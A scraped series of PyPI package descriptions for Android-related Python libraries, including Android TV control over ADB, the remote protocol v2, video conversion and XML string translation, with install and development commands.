Contributions OnlyI no longer have the time to actively work on this project, and so all future development will be from pull requests submitted by the community. What I will do is:review pull requests that pass all of the CI checkspublish new releases upon requestAboutDocumentation for this package can be found athttps://androidtv.readthedocs.io.androidtvis a Python package that provides state information and control of Android TV and Fire TV devices via ADB. This package is used by theAndroid TVintegration in Home Assistant.Installationpip install androidtvTo utilize the async version of this code, you must install into a Python 3.7+ environment via:pip install androidtv[async]ADB Intents and CommandsA collection of useful intents and commands can be foundhere(credit: mcfrojd).AcknowledgmentsThis is based onpython-firetvby happyleavesaoc and theandroidtv component for Home Assistantby a1ex4, and it depends on the Python packagesadb-shell(which is based onpython-adb) andpure-python-adb.
|
android-tv-remote
|
Python Android TV RemoteAuthor:Tim [email protected] package that allows you to mimic Android TV remote inputs via Python. Designed to be used over TCP (not USB).FeaturesOffers a limited set of ADB commands. Seesrc\androidtvremote\adb.pyfor all commands.- `tcp`
- `devices`
- `connect`
- `install`
- `uninstall`
- `push`
- `pull`
- `get-state`
- `get-serialno`
- `get-devpath`
- `reboot`
- `start-server`
- `kill-server`InstallationTo install python-android-tv-remote, simply:pip install android-tv-remoteTipsGet IP address:adb devices
adb -s <DEVICE_ID> shell ip -f inet addr show wlan0Developmentmake env
make reqs
pip install -e .TestingProject is at76%test coverage.pytest -v
tox
# Run a specific test
pytest -v tests/test_adb.py -k test_get_ip_address
# Run coverage
pytest --cov-report html --cov-report term --cov=tests/DocumentationDocumentation is available at TODOIssuesIf you experience any issues, please create anissueon Bitbucket.HistoryAll notable changes to this project will be documented in this file. This project adheres toSemantic Versioning.0.1.6 (2023-06-22)New packaging method usingpyproject.tomlAdded new tests0.1.5 (2022-01-04)Ensure the ADB server is started as a background process during init.0.1.4 (2021-12-12)Removed ADBconnectparams formax_retriesandretry_delay.0.1.3 (2021-12-10)Added ADBconnectparams formax_retriesandretry_delay.0.1.2 (2021-12-09)Added ADB disconnect method.Removed keycode constants from remote.py. Can pass actual string constants to ADB.0.1.1 (2021-12-08)Added KEYCODE_SOFT_SLEEP0.1.0 (2019-04-25)First release on PyPI.
|
androidtvremote2
|
androidtvremote2A Python library for interacting with Android TV using the Android TV Remote protocol v2. This is the same protocol the Google TV mobile app is using. It doesn't require ADB or enabling developer tools on the Android TV device. It only requires theAndroid TV Remote Servicethat comes pre-installed on most Android TV devices.For a list of the most common commands you can send to the Android TV see:TvKeys.
For a full list seehere.
In addition to commands you can send URLs to open apps registered to handle them.CreditsOfficialimplementationof the pairing protocol in JavaImplementationin Python but for the old v1 protocolImplementationin Node JS for the v2 protocolDescriptionof the v2 protocolExampleSeedemo.pyDevelopment environmentpython3-mvenv.venvsource.venv/bin/activate# for Windows CMD:# .venv\Scripts\activate.bat# for Windows PowerShell:# .venv\Scripts\Activate.ps1# Install dependenciespython-mpipinstall--upgradepip
python-mpipinstall.# Generate *_pb2.py from *.protopython-mpipinstallgrpcio-toolsmypy-protobuf
python-mgrpc_tools.protocsrc/androidtvremote2/*.proto--python_out=src/androidtvremote2--mypy_out=src/androidtvremote2-Isrc/androidtvremote2# Run formatter, lint, and type checkingpython-mpipinstallisortblackflake8ruffmypypydantic
isort.;black.;flake8.;ruff.--fix;mypy--install-types.# Run testspython-mpipinstallpytest
pytest# Run demopython-mpipinstallpynputzeroconf
pythonsrc/demo.py# Build packagepython-mpipinstallbuild
python-mbuild
|
androiduitest
|
Failed to fetch description. HTTP Status Code: 404
|
android-utils
|
InstallationTo install android-utils, simply:$ sudo pip install -U android-utilsor alternatively install via easy_install:$ sudo easy_install -U android-utilsPublishTo publish android-utils:$ python setup.py sdist$ twine upload dist/*or see:https://packaging.python.org/tutorials/distributing-packages/#packaging-your-projectUsageimport android_utils
|
androidvideo
|
## Create Android Compatible VideosCreate Android compatible videos that play in ANY Android devicewithout third party software. Basedon [Android Supported Media Formats](https://developer.android.com/intl/es/guide/appendix/media-formats.html#recommendations).*Playability depends in device resolution only, i.e. HD 720p videowon't play correctly on 240x320 resolution device***DEPENDS ON [FFmpeg ](https://www.ffmpeg.org/)**## Video qualityChoose a video quality between following options:* low -> Low quality* hq -> High quality* hd -> HD 720p (N/A on all devices)## Usage`androidvideo [quality] [video input] [output filename without extension]`**Example**`androidvideo hq input.mov output`Will output an `output.mp4` file.## InstallationPlease make sure you have [FFmpeg ](https://www.ffmpeg.org/)installed. Run `ffmpeg -version` to check installation.`pip install androidvideo`## HelpRun `androidvideo -h` for help.
|
androidviewclient
|
No description available on PyPI.
|
android-webview
|
UNKNOWN
|
android-xml-translater
|
android-xml-translaterInspired byGTranslate-strings-xmlDependenciesdeep-translatorbeautifulsoup4lxmlpipinstallandroid-xml-translaterORgitclonehttps://github.com/Harkame/android-xml-translater.gitcdandroid-xml-translater
pipinstall.UsageBasic usageandroid-xml-translater-tfresdeFor more informationsandroid-xml-translater-h
|
androidyt
|
/sdcard/androidyt/README.md
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.